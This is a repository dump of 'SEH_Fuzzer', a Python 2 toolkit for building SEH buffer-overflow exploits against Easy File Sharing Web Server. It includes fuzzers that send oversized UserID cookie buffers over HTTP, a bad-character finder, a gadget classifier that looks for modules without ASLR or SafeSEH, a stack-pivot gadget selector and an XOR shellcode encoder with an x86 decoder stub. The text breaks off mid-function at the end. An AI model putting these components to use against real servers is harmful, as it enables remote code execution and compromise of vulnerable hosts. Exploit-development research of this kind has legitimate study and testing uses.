├── SEH_Fuzzer ├── Vuln │ ├── fsws.exe │ └── ImageLoad.dll ├── vuln │ ├── fsws.exe │ └── ImageLoad.dll ├── demo │ ├── demo_classify_gadget.py │ ├── demo_pointer.py │ ├── demo_parse_exe.py │ └── demo_parse_dll.py ├── app.py ├── Encoder.py ├── test │ ├── testPE.py │ └── PE.py ├── ExploitGenerator.py ├── Seh_bug_fuzzer.py ├── find_badchars.py ├── stack_pivot.py ├── fuzzer.py ├── ShellCode.py ├── PE.py ├── util.py └── Gadget.py ├── README.md ├── LICENSE └── .gitignore /SEH_Fuzzer/Vuln/fsws.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b09780978/SEH_Fuzzer/HEAD/SEH_Fuzzer/Vuln/fsws.exe -------------------------------------------------------------------------------- /SEH_Fuzzer/vuln/fsws.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b09780978/SEH_Fuzzer/HEAD/SEH_Fuzzer/vuln/fsws.exe -------------------------------------------------------------------------------- /SEH_Fuzzer/Vuln/ImageLoad.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b09780978/SEH_Fuzzer/HEAD/SEH_Fuzzer/Vuln/ImageLoad.dll -------------------------------------------------------------------------------- /SEH_Fuzzer/vuln/ImageLoad.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b09780978/SEH_Fuzzer/HEAD/SEH_Fuzzer/vuln/ImageLoad.dll -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SEH_Fuzzer 2 | This is a fuzzer for Windows SEH buffer overflow. 3 | 4 | Requirement: 5 | ------------ 6 | 7 | python2.7 8 | 9 | pydbg 10 | 11 | pydasm 12 | 13 | capstone-windows 14 | 15 | pefile 16 | -------------------------------------------------------------------------------- /SEH_Fuzzer/demo/demo_classify_gadget.py: -------------------------------------------------------------------------------- 1 | from PE import * 2 | from util import * 3 | from Gadget import * 4 | 5 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 6 | 7 | module_list = getModuleList(exe_path) 8 | module_list.append(exe_path) 9 | 10 | # Get all usable gadgets. 11 | collect_gadgets = {} 12 | for module in module_list: 13 | pe = PE(module) 14 | if (not pe.ASLR) and (not pe.SafeSEH) and (not pe.Rebase): 15 | print "[+] Module %s add." % module 16 | module_gadget = Gadget(pe) 17 | classify_gadget(module_gadget.retGadgets, module_gadget.jmpGadgets, collect_gadgets) 18 | 19 | print 20 | 21 | for types in collect_gadgets.keys(): 22 | print "+" + "-"*(len(types)+2) + "+" 23 | print "| " + types + " |" 24 | print "+" + "-"*(len(types)+2) + "+" 25 | print 26 | for addr, gadget in collect_gadgets[types].items(): 27 | print "[*] 0x%08x : %s." % (addr, gadget) 28 | print -------------------------------------------------------------------------------- /SEH_Fuzzer/demo/demo_pointer.py: -------------------------------------------------------------------------------- 1 | from PE import * 2 | from util import * 3 | from Gadget import * 4 | 5 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 6 | 7 | module_list = getModuleList(exe_path) 8 | module_list.append(exe_path) 9 | 10 | import random 11 | 12 | IAT = {} 13 | writableAddress = {} 14 | print 15 | for module in module_list: 16 | print module 17 | pe = PE(module) 18 | IAT.update( { module: pe.IAT } ) 19 | for section in pe.DataSections: 20 | vaddr = section["vaddr"] + random.randint(0, section["size"]) 21 | for test in xrange(5): 22 | if gadget_filter(vaddr): 23 | writableAddress.update( { vaddr : module } ) 24 | break 25 | 26 | print "[+] IAT" 27 | print 28 | for entry in IAT.keys(): 29 | print "[+] Module %s" % entry 30 | for func, vaddr in IAT[entry].items(): 31 | if gadget_filter(vaddr): 32 | print "[*]%-30s : 0x%08x." % (func, vaddr) 33 | print 34 | 35 | print 36 | print "[+] writable Address" 37 | print 38 | for vaddr, module in writableAddress.items(): 39 | print "[*]%-10s : 0x%08x" % (module, vaddr) -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 b09780978 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /SEH_Fuzzer/demo/demo_parse_exe.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | 4 | CURRENT_DIR = os.getcwd() 5 | PE_DIR = "\\".join(CURRENT_DIR.split("\\")[:-1]) 6 | print "[+] Current position: %s" % (CURRENT_DIR) 7 | print "[+] PE class position: %s" % (PE_DIR) 8 | print 9 | 10 | # add PE class folder 11 | sys.path.append(PE_DIR) 12 | from PE import * 13 | 14 | exe = PE_DIR + "\\vuln\\fsws.exe" 15 | 16 | pe = PE(exe) 17 | 18 | print "[+] Analysis %s." % (pe.Name) 19 | print "[*] Format is %s." % (pe.Format) 20 | print "[*] Type is %s." % (pe.Type) 21 | print "[*] Arch is %s." % (pe.Arch) 22 | print "[*] Bits is %d." % (pe.Bits) 23 | print "[*] EntryPoint is 0x%08x." % (pe.EntryPoint) 24 | print "[*] Rebase is", "on." if pe.Rebase else "off." 25 | print 26 | 27 | print "[+] DataSections:" 28 | print "[*] %-8s %-10s %-10s %-10s" % ("name", "vaddr", "offset", "size") 29 | for section in pe.DataSections: 30 | print " %-8s 0x%-08x 0x%-08x 0x%-08x" % (section["name"], section["vaddr"], section["offset"], section["size"]) 31 | print "[+] Total: %d datasection." % (len(pe.DataSections)) 32 | print 33 | 34 | print "[+] ExecSections:" 35 | print "[*] %-8s %-10s %-10s %-10s" % ("name", "vaddr", "offset", "size") 36 | for section in pe.ExecSections: 37 | print " %-8s 0x%-08x 0x%-08x 0x%-08x" % (section["name"], section["vaddr"], section["offset"], section["size"]) 38 | print "[+] Total: %d execsection." % (len(pe.ExecSections)) 39 | print 40 | -------------------------------------------------------------------------------- /SEH_Fuzzer/demo/demo_parse_dll.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | 4 | CURRENT_DIR = os.getcwd() 5 | PE_DIR = "\\".join(CURRENT_DIR.split("\\")[:-1]) 6 | print "[+] Current position: %s" % (CURRENT_DIR) 7 | print "[+] PE class position: %s" % (PE_DIR) 8 | print 9 | 10 | # add PE class folder 11 | sys.path.append(PE_DIR) 12 | from PE import * 13 | 14 | exe = PE_DIR + "\\vuln\\ImageLoad.dll" 15 | 16 | pe = PE(exe) 17 | 18 | print "[+] Analysis %s." % (pe.Name) 19 | print "[*] Format is %s." % (pe.Format) 20 | print "[*] Type is %s." % (pe.Type) 21 | print "[*] Arch is %s." % (pe.Arch) 22 | print "[*] Bits is %d." % (pe.Bits) 23 | print "[*] EntryPoint is 0x%08x." % (pe.EntryPoint) 24 | print "[*] Rebase is", "on." if pe.Rebase else "off." 25 | print 26 | 27 | print "[+] DataSections:" 28 | print "[*] %-8s %-10s %-10s %-10s" % ("name", "vaddr", "offset", "size") 29 | for section in pe.DataSections: 30 | print " %-8s 0x%-08x 0x%-08x 0x%-08x" % (section["name"], section["vaddr"], section["offset"], section["size"]) 31 | print "[+] Total: %d datasection." % (len(pe.DataSections)) 32 | print 33 | 34 | print "[+] ExecSections:" 35 | print "[*] %-8s %-10s %-10s %-10s" % ("name", "vaddr", "offset", "size") 36 | for section in pe.ExecSections: 37 | print " %-8s 0x%-08x 0x%-08x 0x%-08x" % (section["name"], section["vaddr"], section["offset"], section["size"]) 38 | print "[+] Total: %d execsection." % (len(pe.ExecSections)) 39 | print 40 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # Jupyter Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # SageMath parsed files 80 | *.sage.py 81 | 82 | # dotenv 83 | .env 84 | 85 | # virtualenv 86 | .venv 87 | venv/ 88 | ENV/ 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | .spyproject 93 | 94 | # Rope project settings 95 | .ropeproject 96 | 97 | # mkdocs documentation 98 | /site 99 | 100 | # mypy 101 | .mypy_cache/ 102 | -------------------------------------------------------------------------------- /SEH_Fuzzer/app.py: -------------------------------------------------------------------------------- 1 | from kivy.app import App 2 | from kivy.uix.gridlayout import GridLayout 3 | from kivy.uix.label import Label 4 | from kivy.uix.textinput import TextInput 5 | from kivy.uix.button import Button 6 | 7 | import subprocess 8 | import cPickle 9 | import os 10 | 11 | class Column(GridLayout): 12 | def __init__(self, cols, **kwargs): 13 | super(Row, self).__init__(**kwargs) 14 | self.cols = cols 15 | 16 | 17 | class Screen(GridLayout): 18 | def __init__(self, **kwargs): 19 | super(Screen, self).__init__(**kwargs) 20 | self.cols = 2 21 | self.add_widget(Label(text="Target")) 22 | self.target = TextInput(multiline=False) 23 | self.add_widget(self.target) 24 | self.add_widget(Label(text="target info")) 25 | self.setting = TextInput() 26 | self.add_widget(self.setting) 27 | fuzz_btn = Button(text="Fuzz") 28 | self.add_widget(fuzz_btn) 29 | self.result = Label(text="None") 30 | self.add_widget(self.result) 31 | fuzz_btn.bind(on_press=self.show_result) 32 | 33 | def show_result(self, obj): 34 | try: 35 | proc = subprocess.check_call("python Seh_bug_Fuzzer.py", shell=True) 36 | with open("crash_info.pkl", "rb") as f: 37 | max_offset = cPickle.load(f) 38 | seh_offset = cPickle.load(f) 39 | 40 | RESULT = "[+] When send %d words will crash.\n" % (max_offset) 41 | RESULT += "[+] Overwrite SEH structure need %d words.\n" % (seh_offset) 42 | RESULT += "[+] Dump crash stack in crash.txt." 43 | self.result.text = RESULT 44 | 45 | subprocess.check_call("notepad crash.txt", shell=True) 46 | 47 | except Exception as e: 48 | print str(e) 49 | self.result.text += "[-] Fail." 50 | print '[-] Fail' 51 | 52 | class MyApp(App): 53 | def build(self): 54 | return Screen() 55 | 56 | if __name__ == "__main__": 57 | MyApp().run() -------------------------------------------------------------------------------- /SEH_Fuzzer/Encoder.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import random 3 | import struct 4 | 5 | SHELLCODE_FORMAT = "" 6 | SHELLCODE_FORMAT += "\xeb\x2e\x5e\x56\x89\xf7\x31\xc0\x31\xdb" 7 | SHELLCODE_FORMAT += "\x31\xc9\x31\xd2\x8a\x06\x8a\x5e\x01\x30" 8 | SHELLCODE_FORMAT += "\xd8\x88\x07\x47\x46\x41\x80\xf9\x03\x75" 9 | SHELLCODE_FORMAT += "\xef\x46\x31\xc9\x66\x83\xc2\x04\x66\x81" 10 | SHELLCODE_FORMAT += "\xfa%s\x75\xe1\xff\x14\x24\xe8\xcd" 11 | SHELLCODE_FORMAT += "\xff\xff\xff%s" 12 | 13 | def getPythonCode(code): 14 | codes = "shellcode = \"" 15 | for c in code: 16 | cc = hex(ord(c)) 17 | codes += "\\x0" + cc[2:] if len(cc)<4 else "\\x" + cc[2:] 18 | codes += "\"" 19 | return codes 20 | 21 | def xor(block): 22 | code = bytearray() 23 | seed = random.randint(1, 255) 24 | c1 = seed ^ block[0] 25 | c2 = c1 ^ block[1] 26 | c3 = c2 ^ block[2] 27 | code.append(seed) 28 | code.append(c1) 29 | code.append(c2) 30 | code.append(c3) 31 | 32 | return code 33 | 34 | class Encoder(object): 35 | def __init__(self, shellcode, badchars="\x00\x0a"): 36 | self.shellcode = shellcode 37 | self.badchars = badchars 38 | 39 | def encode(self): 40 | codes = bytearray() 41 | codes.extend(self.shellcode) 42 | result = "" 43 | 44 | if len(codes)%3==1: 45 | codes.append(0x90) 46 | codes.append(0x90) 47 | elif len(codes)%3==2: 48 | codes.append(0x90) 49 | 50 | for i in xrange(0, len(codes), 3): 51 | pattern = codes[i:i+3] 52 | block = xor(pattern) 53 | block = self.check_bad_chars(pattern, block) 54 | result += block 55 | 56 | for bc in self.badchars: 57 | if struct.pack("test_words: 97 | with lock: 98 | if not Running: 99 | break 100 | test_words += 100 101 | OFFSET = test_words 102 | print "[+] test %d words" % test_words 103 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 104 | s.connect((host, port)) 105 | buffer = pattern_create(test_words) 106 | httpreq = ( 107 | "GET /changeuser.ghp HTTP/1.1\r\n" 108 | "User-Agent: Mozilla/4.0\r\n" 109 | "Host:" + host + ":" + str(port) + "\r\n" 110 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 111 | "Accept-Language: en-us\r\n" 112 | "Accept-Encoding: gzip, deflate\r\n" 113 | "Referer: http://" + host + "/\r\n" 114 | "Cookie: SESSIONID=6771; UserID=" + buffer + "; PassWD=;\r\n" 115 | "Conection: Keep-Alive\r\n\r\n" 116 | ) 117 | s.send(httpreq) 118 | s.close() 119 | 120 | # prevent execute to fast. 121 | time.sleep(1) 122 | 123 | if not os.path.isfile(PICKLE_NAME): 124 | print "[+] No found bug." 125 | Running = False 126 | self.dbg.terminate_process() 127 | else: 128 | print "[+] Find bug." 129 | 130 | ''' 131 | Try to start debugger and run it. 132 | ''' 133 | def start_debugger(self): 134 | try: 135 | self.dbg = pydbg() 136 | self.dbg.load(self.exe_path) 137 | self.pid = self.dbg.pid 138 | except pdx: 139 | print "[+] Can't open file, please check file path" 140 | sys.exit(1) 141 | except Exception as e: 142 | print "[+] Unknow error: ", str(e) 143 | sys.exit(1) 144 | 145 | self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, check_access_validation) 146 | self.dbg.run() 147 | 148 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 149 | Fuzzer(exe_path) -------------------------------------------------------------------------------- /SEH_Fuzzer/find_badchars.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import time 3 | import sys 4 | import socket 5 | import cPickle 6 | import os 7 | 8 | from pydbg import * 9 | from pydbg.defines import * 10 | 11 | from util import * 12 | 13 | LAST_PICKLE_NAME = "crash_info.pkl" 14 | PICKLE_NAME = "badchars.pkl" 15 | 16 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 17 | 18 | import threading 19 | import time 20 | 21 | host, port = "127.0.0.1", 80 22 | 23 | global Running 24 | global lock 25 | global chance 26 | global MAX_OFFSET 27 | global OFFSET 28 | global badchars 29 | 30 | def bytearray(badchars="\x00"): 31 | pattern = "" 32 | for c in xrange(0, 0xff+1): 33 | if chr(c) not in badchars: 34 | pattern += chr(c) 35 | return pattern 36 | 37 | def find_badchar(stack, pattern): 38 | for i in xrange(1, len(pattern)): 39 | if stack.find(pattern[:i])==-1: 40 | return pattern[i-1] 41 | return None 42 | 43 | chance = 1 44 | Running = True 45 | badchars = "\x00" 46 | lock = threading.Lock() 47 | 48 | def check_access_validation(dbg): 49 | global chance 50 | global Running 51 | global lock 52 | global badchars 53 | 54 | with lock: 55 | if dbg.dbg.u.Exception.dwFirstChance: 56 | chance -= 1 57 | # prevent test next size. 58 | Running = False 59 | if chance==0: 60 | Running = False 61 | crash_info = dbg.dump_context_list(stack_depth=(OFFSET+1000)/4) 62 | stack_info = "" 63 | 64 | for a in xrange(0, OFFSET+1000, 4): 65 | key = "esp+0" + hex(a)[2:] if len(hex(a))<4 else "esp+" + hex(a)[2:] 66 | stack_info += p32(crash_info[key]["value"]) 67 | 68 | # print stack_info 69 | badchar = find_badchar(stack_info, bytearray(badchars=badchars)) 70 | if badchar is None: 71 | bcs = [hex(ord(c)) for c in badchars] 72 | print "[+] find all badchars: %s" % bcs 73 | 74 | else: 75 | print hex(ord(badchar)) 76 | badchars += badchar 77 | with open(PICKLE_NAME, "wb") as local_file: 78 | print "write ", PICKLE_NAME 79 | cPickle.dump(badchars, local_file) 80 | 81 | dbg.terminate_process() 82 | return DBG_EXCEPTION_NOT_HANDLED 83 | else: 84 | Running = True 85 | return DBG_EXCEPTION_NOT_HANDLED 86 | 87 | return DBG_EXCEPTION_NOT_HANDLED 88 | 89 | class Fuzzer(object): 90 | def __init__(self, exe_path, max_offset = 8000): 91 | self.exe_path = exe_path 92 | self.pid = None 93 | self.dbg = None 94 | # self.running = True 95 | 96 | self.dbgThread = threading.Thread(target=self.start_debugger) 97 | self.dbgThread.setDaemon(False) 98 | self.dbgThread.start() 99 | 100 | # Wait debugger start process 101 | while self.pid is None: 102 | time.sleep(1) 103 | 104 | self.monitorThread = threading.Thread(target=self.monitor_debugger) 105 | self.monitorThread.setDaemon(False) 106 | self.monitorThread.start() 107 | 108 | def monitor_debugger(self): 109 | global Running 110 | global OFFSET 111 | global badchars 112 | 113 | with open(LAST_PICKLE_NAME, "rb") as local_file: 114 | OFFSET = cPickle.load(local_file) 115 | seh_offset = cPickle.load(local_file) 116 | seh = cPickle.load(local_file) 117 | nseh = cPickle.load(local_file) 118 | 119 | if not os.path.isfile(PICKLE_NAME): 120 | with open(PICKLE_NAME, "wb") as local_file: 121 | cPickle.dump("\x00", local_file) 122 | 123 | else: 124 | with open(PICKLE_NAME, "rb") as local_file: 125 | badchars = cPickle.load(local_file) 126 | raw_input("[+] Please start the debugger...") 127 | while Running: 128 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 129 | s.connect((host, port)) 130 | buffer = "A" * OFFSET 131 | buffer += bytearray(badchars=badchars) 132 | 133 | httpreq = ( 134 | "GET /changeuser.ghp HTTP/1.1\r\n" 135 | "User-Agent: Mozilla/4.0\r\n" 136 | "Host:" + host + ":" + str(port) + "\r\n" 137 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 138 | "Accept-Language: en-us\r\n" 139 | "Accept-Encoding: gzip, deflate\r\n" 140 | "Referer: http://" + host + "/\r\n" 141 | "Cookie: SESSIONID=6771; UserID=" + buffer + "; PassWD=;\r\n" 142 | "Conection: Keep-Alive\r\n\r\n" 143 | ) 144 | s.send(httpreq) 145 | s.close() 146 | Running = False 147 | 148 | ''' 149 | Try to start debugger and run it. 150 | ''' 151 | def start_debugger(self): 152 | try: 153 | self.dbg = pydbg() 154 | self.dbg.load(self.exe_path) 155 | self.pid = self.dbg.pid 156 | except pdx: 157 | print "[+] Can't open file, please check file path" 158 | sys.exit(1) 159 | except Exception as e: 160 | print "[+] Unknow error: ", str(e) 161 | sys.exit(1) 162 | 163 | self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, check_access_validation) 164 | self.dbg.run() 165 | 166 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 167 | Fuzzer(exe_path) -------------------------------------------------------------------------------- /SEH_Fuzzer/test/PE.py: -------------------------------------------------------------------------------- 1 | import pefile 2 | 3 | ''' 4 | Windows PE file arch code. 5 | Ref: https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms680547(v=vs.85).aspx#machine_types 6 | ''' 7 | class ArchFlag: 8 | IMAGE_FILE_MACHINE_UNKNOWN = 0x0 9 | IMAGE_FILE_MACHINE_AMD64 = 0x8664 10 | IMAGE_FILE_MACHINE_I386 = 0x14c 11 | IMAGE_FILE_MACHINE_IA64 = 0x200 12 | 13 | ''' 14 | Get PE file characteristics. 15 | Can grad some characteristics of PE file. 16 | Ref: https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms680547(v=vs.85).aspx#characteristics 17 | ''' 18 | class FileHeaderCharacteristicsFlag: 19 | IMAGE_FILE_RELOCS_STRIPPED = 0x1 20 | IMAGE_FILE_32BIT_MACHINE = 0x100 21 | IMAGE_FILE_SYSTEM = 0x1000 22 | IMAGE_FILE_DLL = 0x2000 23 | 24 | ''' 25 | Get file bits. 26 | ''' 27 | class MagicFlag: 28 | PE32 = 0x10b # for 32bit 29 | PE32plus = 0x20b # for 64bit 30 | 31 | ''' 32 | Get DLL characteristics. 33 | Ref: https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms680547(v=vs.85).aspx#dll_characteristics 34 | ''' 35 | class DllCharacteristicsFlag: 36 | IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x40 37 | IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x100 38 | IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x400 39 | 40 | ''' 41 | Section Flag Definition. 42 | Ref: https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms680547(v=vs.85).aspx#section_flags 43 | ''' 44 | class SectionFlag: 45 | IMAGE_SCN_MEM_EXECUTE = 0x20000000 46 | IMAGE_SCN_MEM_READ = 0x40000000 47 | IMAGE_SCN_MEM_WRITE = 0x80000000 48 | 49 | ''' 50 | PE parse error exception, will add a message about error. 51 | ''' 52 | class PEError(Exception): 53 | def __init__(self, message="Parse PE file fail"): 54 | self.message = message 55 | 56 | def __str__(self): 57 | return repr(self.message) 58 | 59 | class PE(object): 60 | def __init__(self, exe_path): 61 | self.__name = exe_path 62 | self.__parser = None 63 | self.__format = "PE" 64 | try: 65 | self.__parser = pefile.PE(exe_path, fast_load=True) 66 | except: 67 | # print "[-] Open %s fail." % (self.Name) 68 | self.__parser = None 69 | raise PEError("[-] Open %s fail." % (self.Name)) 70 | 71 | self.Arch = self.__parser.FILE_HEADER.Machine 72 | self.__type = "dll" if self.__parser.FILE_HEADER.Characteristics & FileHeaderCharacteristicsFlag.IMAGE_FILE_DLL else "exe" 73 | 74 | if self.__type == "exe" and (self.__parser.FILE_HEADER.Characteristics & FileHeaderCharacteristicsFlag.IMAGE_FILE_RELOCS_STRIPPED): 75 | self.__rebase = False 76 | elif self.__type == "dll" and not (self.__parser.OPTIONAL_HEADER.DllCharacteristics & DllCharacteristicsFlag.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE): 77 | self.__rebase = False 78 | else: 79 | self.__rebase = True 80 | 81 | if self.__parser.OPTIONAL_HEADER.Magic & MagicFlag.PE32: 82 | self.__bits = 32 83 | elif self.__parser.OPTIONAL_HEADER.Magic & MagicFlag.PE32plus: 84 | self.__bits = 64 85 | 86 | self.__dataSections = None 87 | self.__execSections = None 88 | 89 | self.__getDataSections() 90 | self.__getExecSections() 91 | 92 | self.__parser.close() 93 | 94 | def __getDataSections(self): 95 | dataSections = [] 96 | for section in self.__parser.sections: 97 | if section.Characteristics & SectionFlag.IMAGE_SCN_MEM_WRITE: 98 | dataSections.append({ 99 | "name" : section.Name, 100 | "offset" : section.PointerToRawData, 101 | "size" : section.SizeOfRawData, 102 | "vaddr" : section.VirtualAddress + self.__parser.OPTIONAL_HEADER.ImageBase, 103 | "code" : str(section.get_data()) 104 | }) 105 | self.__dataSections = dataSections 106 | 107 | def __getExecSections(self): 108 | execSections = [] 109 | for section in self.__parser.sections: 110 | if section.Characteristics & SectionFlag.IMAGE_SCN_MEM_EXECUTE: 111 | execSections.append({ 112 | "name" : section.Name, 113 | "offset" : section.PointerToRawData, 114 | "size" : section.SizeOfRawData, 115 | "vaddr" : section.VirtualAddress + self.__parser.OPTIONAL_HEADER.ImageBase, 116 | "code" : bytes(section.get_data()) 117 | }) 118 | self.__execSections = execSections 119 | 120 | @property 121 | def Arch(self): 122 | return self.__Arch 123 | 124 | @Arch.setter 125 | def Arch(self, flag): 126 | self.__Arch = { ArchFlag.IMAGE_FILE_MACHINE_UNKNOWN : "All", 127 | ArchFlag.IMAGE_FILE_MACHINE_AMD64 : "amd64", 128 | ArchFlag.IMAGE_FILE_MACHINE_I386 : "intel", 129 | ArchFlag.IMAGE_FILE_MACHINE_IA64 : "ia64" }.get(flag, "unknow") 130 | 131 | @property 132 | def Bits(self): 133 | return self.__bits 134 | 135 | @property 136 | def DataSections(self): 137 | return self.__dataSections 138 | 139 | @property 140 | def ExecSections(self): 141 | return self.__execSections 142 | 143 | @property 144 | def EntryPoint(self): 145 | return self.__parser.OPTIONAL_HEADER.ImageBase + self.__parser.OPTIONAL_HEADER.AddressOfEntryPoint 146 | 147 | @property 148 | def Format(self): 149 | return self.__format 150 | 151 | @property 152 | def Rebase(self): 153 | return self.__rebase 154 | 155 | @property 156 | def Name(self): 157 | return self.__name 158 | 159 | @property 160 | def Type(self): 161 | return self.__type 162 | -------------------------------------------------------------------------------- /SEH_Fuzzer/stack_pivot.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import time 3 | import sys 4 | import socket 5 | import cPickle 6 | import os 7 | 8 | from pydbg import * 9 | from pydbg.defines import * 10 | 11 | from util import * 12 | 13 | GADGET_PICKLE = "gadgets.pkl" 14 | LAST_PICKLE_NAME = "crash_info.pkl" 15 | PICKLE_NAME = "stackpivot.pkl" 16 | 17 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 18 | 19 | import threading 20 | import time 21 | 22 | host, port = "127.0.0.1", 80 23 | 24 | global Running 25 | global lock 26 | global chance 27 | global MAX_OFFSET 28 | global OFFSET 29 | 30 | chance = 2 31 | Running = True 32 | lock = threading.Lock() 33 | 34 | def find_stackpivot(stack): 35 | overflow = 0 36 | start_offset = 0 37 | start_value = "" 38 | for depth, value in stack: 39 | if value == "0x41414141": 40 | overflow += 1 41 | else: 42 | overflow = 0 43 | if overflow == 0: 44 | start_offset, start_value = depth, value 45 | if overflow == 10: 46 | deep = int("0x"+depth.split("+")[-1], base=16) - 4*9 47 | # start_offset = int("0x"+start_offset.split("+")[-1], base=16) - 4*9 48 | if start_value.startswith("0x414141"): 49 | fix = 3 50 | elif start_value.startswith("0x4141"): 51 | fix = 2 52 | elif start_value.startswith("0x41"): 53 | fix = 1 54 | else: 55 | fix = 0 56 | # print "find", deep, fix 57 | return deep, fix 58 | 59 | def check_access_validation(dbg): 60 | global chance 61 | global Running 62 | global lock 63 | 64 | with lock: 65 | if dbg.dbg.u.Exception.dwFirstChance: 66 | chance -= 1 67 | # prevent test next size. 68 | Running = False 69 | if chance==0: 70 | Running = False 71 | crash_info = dbg.dump_context_list(stack_depth=OFFSET/4) 72 | stack_info = [] 73 | 74 | for a in xrange(0, OFFSET, 4): 75 | key = "esp+0" + hex(a)[2:] if len(hex(a))<4 else "esp+" + hex(a)[2:] 76 | stack_info.append((key, hex(crash_info[key]["value"]))) 77 | 78 | deep, fix = find_stackpivot(stack_info) 79 | move_up_list = [] 80 | with open(GADGET_PICKLE, "rb") as local_file: 81 | gadgets = cPickle.load(local_file) 82 | for addr, insturctions in gadgets["addnum"].items(): 83 | if insturctions.startswith("add esp,") and insturctions.find("pop") == -1: 84 | move_up = int(insturctions.split(" ; ")[0].split(",")[1].strip(), base=16) 85 | if move_up>=deep: 86 | move_up_list.append((addr, insturctions, deep)) 87 | 88 | select_moveup = None 89 | for g in move_up_list: 90 | if select_moveup is None or select_moveup[2]>g[2]: 91 | select_moveup = g 92 | # print select_moveup 93 | 94 | with open(PICKLE_NAME, "wb") as local_file: 95 | cPickle.dump({select_moveup[0] : select_moveup[1]}, local_file) 96 | cPickle.dump(select_moveup[2], local_file) 97 | cPickle.dump(fix, local_file) 98 | 99 | # print dbg.dump_context(stack_depth=1000) 100 | dbg.terminate_process() 101 | return DBG_EXCEPTION_NOT_HANDLED 102 | else: 103 | Running = True 104 | return DBG_EXCEPTION_NOT_HANDLED 105 | 106 | return DBG_EXCEPTION_NOT_HANDLED 107 | 108 | class Fuzzer(object): 109 | def __init__(self, exe_path, max_offset = 8000): 110 | self.exe_path = exe_path 111 | self.pid = None 112 | self.dbg = None 113 | # self.running = True 114 | 115 | self.dbgThread = threading.Thread(target=self.start_debugger) 116 | self.dbgThread.setDaemon(False) 117 | self.dbgThread.start() 118 | 119 | # Wait debugger start process 120 | while self.pid is None: 121 | time.sleep(1) 122 | 123 | self.monitorThread = threading.Thread(target=self.monitor_debugger) 124 | self.monitorThread.setDaemon(False) 125 | self.monitorThread.start() 126 | 127 | def 